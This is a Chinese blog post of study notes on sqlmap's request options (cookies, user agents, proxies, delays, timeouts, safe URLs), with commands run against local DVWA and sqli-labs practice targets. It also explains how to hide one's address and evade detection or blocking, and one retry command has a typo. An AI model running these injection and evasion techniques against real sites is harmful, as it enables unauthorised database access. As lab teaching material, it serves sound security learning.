Sqlmap 设置请求参数

Web安全攻防 学习笔记

1、sqlmap 设置 cookie 的参数

	--cookie 
	--cookie-del 
	--load-cookies 
	--drop-set-cookie				# 如果 http 响应头中有 set-cookie 但是又不想使用其进行测试时, 可设置该参数

sqlmap 使用 cookie 过程

  1. 登录或浏览页面
  2. 找到 cookie
  3. 在 sqlmap 中使用 --cookie cookie值

使用场景

  1. web 应用程序具有基于 cookie 验证的过程,要测试的页面只有在登录状态下才能访问,登录状态用 cookie 识别。
	# 查看数据库版本信息
	$ python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5u2qb6nidp912o50aja50lu820" --banner

	# 查看数据库信息
	$ python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5u2qb6nidp912o50aja50lu820" --dbs
	
	# 查看当前数据库信息
	$ python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=5u2qb6nidp912o50aja50lu820" --current-db

在这里插入图片描述
在这里插入图片描述


  1. 想利用 cookie 值上的 SQL 注入漏洞,想要检测是否存在 cookie 注入。检测 cookie 还需要参数 level (level 2 检测 cookie, level 3 检测 referer)
	$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-20/index.php" --cookie "uname=admin" --level 2 --banner --dbs

在这里插入图片描述
在这里插入图片描述



2、sqlmap 设置 user-agent 的参数


  • 默认情况下,sqlmap 使用以下用户代理执行HTTP请求:
	sqlmap/版本号#dev (http://sqlmap.org)

在这里插入图片描述

  • sqlmap 指定 user-agent
	使用参数  --user-agent='指定的user-agent'
	
	$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-20/index.php" --cookie "uname=admin" --level 2 --banner --user-agent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" -v 4

在这里插入图片描述

  • 也可以设置随机的 user-agent
	使用参数  --random-agent

	$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-20/index.php" --cookie "uname=admin" --level 2 --random-agent --banner -v 4



3、sqlmap 设置代理 IP 的参数


与爬虫相似的,为了保护自己,在探测网站时通常会使用代理 IP 使我们的主机地址不那么容易被获取。

  1. 设置 HTTP 代理服务器位置,格式 --proxy "http(s)://ip[端口]"

    我们可以到网站搜索一些免费的代理 IP 进行尝试(当然,很多都是非常慢的,甚至是不能用的)
    在这里插入图片描述
	$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --proxy "http://182.35.81.205:9999" --banner

在这里插入图片描述

  1. 设置 HTTP 代理服务器认证信息, 格式 --proxy-cred "user:pwd"

    有一些代理 IP 是需要账号密码的

  1. 设置多条代理在文件中,格式 --proxy-file "文件"


  2. 当希望通过忽略系统范围内的 HTTP(S) 代理服务器设置来针对本地网络的目标时,使用 --ignore-proxy




4、sqlmap 设置延迟、超时的参数


  1. 设置延迟 --delay 时间(秒)

    sqlmap 探测过程中会发送大量探测 Payload 到目标,如果默认情况过快的发包速度会导致目标预警。 为了避免这样的情况发生,可以在探测设置 sqlmap 发包延迟。默认情况下,不设置延迟。
	$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --delay 5 --banner


  1. 设置超时 --timeout 时间(秒)

    在考虑超时 HTTP 请求之前,可以指定等待的秒数。有效值是一个浮点数,比如 10.5 秒。(默认是30秒)
	$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --timeout 10.5 --banner


  1. 设置超时重试次数 --retries 次数

    设置对应重试次数,默认情况下重试 3 次。
	$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --timeout 5 retries 5 --banner


  1. 设置随机参数 --randomize

    sqlmap可以指定要在每次请求期间随机更改其值得参数名称。长度和类型根据提供的原始值保持 一致
	$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --randomize id --banner -v 5

在这里插入图片描述
在这里插入图片描述



  1. sqlmap中设置忽略 401 --ignore-401

    如果测试偶尔返回 HTTP 错误 401 的站点,而你想忽略它并在不提供适当凭证的情况下继续测试,可以 使用 --ignore-401 参数用来忽略未验证错误。
	$ python sqlmap.py -u "http://127.0.0.1/sqli/Less-1/?id=1" --ignore-401 --banner -v 5


  • 避免错误请求过多而被屏蔽

    有时服务器检测到某个客户端错误请求过多会对其进行屏蔽,而 Sqlmap 的测试往往会产生大量错 误请求,为避免被屏蔽,可以时不时的产生几个正常请求以迷惑服务器。

    参数:

    1. --safe-url 隔一会就访问一下的安全 URL

    2. --safe-post 访问安全 URL 时携带的 POST 数据

    3. --safe-req 从文件中载入安全 HTTP 请求

    4. --safe-freq 每次测试请求之后都会访问一下的安全 URL

  • 1
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值